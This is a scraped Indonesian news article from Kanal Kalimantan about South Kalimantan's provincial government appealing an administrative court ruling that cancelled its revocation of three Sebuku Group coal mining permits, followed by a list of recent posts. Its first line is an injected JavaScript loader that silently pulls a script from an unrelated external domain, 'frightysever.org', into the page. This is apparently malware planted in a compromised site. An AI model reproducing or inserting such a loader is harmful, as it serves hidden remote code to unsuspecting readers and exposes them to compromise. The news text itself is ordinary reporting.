(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Kalah di Kandang, Pemprov Kalsel Pastikan Banding ke PT TUN Jakarta


BANJARMASIN, Putusan majelis hakim PTUN Banjarmasin yang mengabulkan gugatan Sebuku Group serta membatalkan tiga surat keputusan (SK) Gubernur Kalsel atas pencabutan izin usaha pertambangan operasi produksi (IUP-OP) dipastikan akan kembali diuji ke Pengadilan Tinggi Tata Usaha Negara (PT TUN) Jakarta.

Pemprov Kalsel selaku pihak tergugat akan segera mengajukan banding ke PT TUN Jakarta atas putusan tiga majelis hakim PTUN Banjarmasin yang mengabulkan seluruh gugatan tiga perusahaan tambang milik  Silo Group, Kamis (7/6).

Usai tiga majelis hakim PTUN Banjarmasin memutuskan bahwa SK Gubernur Sahbirin Noor atas pencabutan IUP-OP Sebuku Group tidak sah dan dibatalkan,  langkah banding harus diambil Pemprov Kalsel. “Jujur saja, kami kecewa atas putusan majelis hakim PTUN Banjarmasin yang mengabulkan seluruh gugatan Sebuku Group ini,” kata Sekdaprov Kalsel Abdul Haris Makkie dalam jumpa pers di Jalan Gatot Subroto, Banjarmasin.

Menurut Haris Makkie, majelis hakim PTUN Banjarmasin terkesan mengabaikan fakta-fakta hukum dan keterangan saksi ahli yang dihadirkan pihaknya dalam persidangan. “Putusan PTUN Banjarmasin bukan putusan akhir, masih ada upaya perlawanan hukum banding ke PT TUN (Pengadilan Tinggi Tata Usaha Negara) di Jakarta,” tegasnya.

Sebelumnya, seusai putusan sidang Andi M Asrun selaku kuasa hukum Gubernur Kalimantan Selatan juga menyatakan akan melakukan banding ke PT TUN atas putusan ketiga majelis hakim. Menurutnya, hakim hanya  mengikuti bukti dan fakta hukum dari pihak penggugat (kubu Yusril Ihza Mahendra) dan mengabaikan fakta dan bukti yang pihaknya sampaikan.

“Kita sangat kecewa dan akan banding. Majelis hakim mengambil alih pendapat penggugat dalam membenarkan putusan. Logika yang digunakan ngawur dan tidak tepat,” jelas Asrun dengan nada kecewa.

Putusan sidang yang mengabulkan gugatan PT Silo Group disampaikan tiga ketua majelis hakim PTUN Banjarmasin, yakni untuk perkara Nomor 4/G/2018/PTUN.BJM,  gugatan PT Sebuku Sejaka Coal adalah Luthfie Ardhian. Lalu, perkara bernomor 5/G/2018/PTUN.BJM , gugatan PT Sebuku Tanjung Coal dengan hakim ketua Retno Widowati. Serta, perkara nomor 6/G/2018/PTUN.BJM  gugatan PT Sebuku Batubai yang dipimpin hakim ketua Dafrian.(ammar)

Reporter:Ammar
EditorCell

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.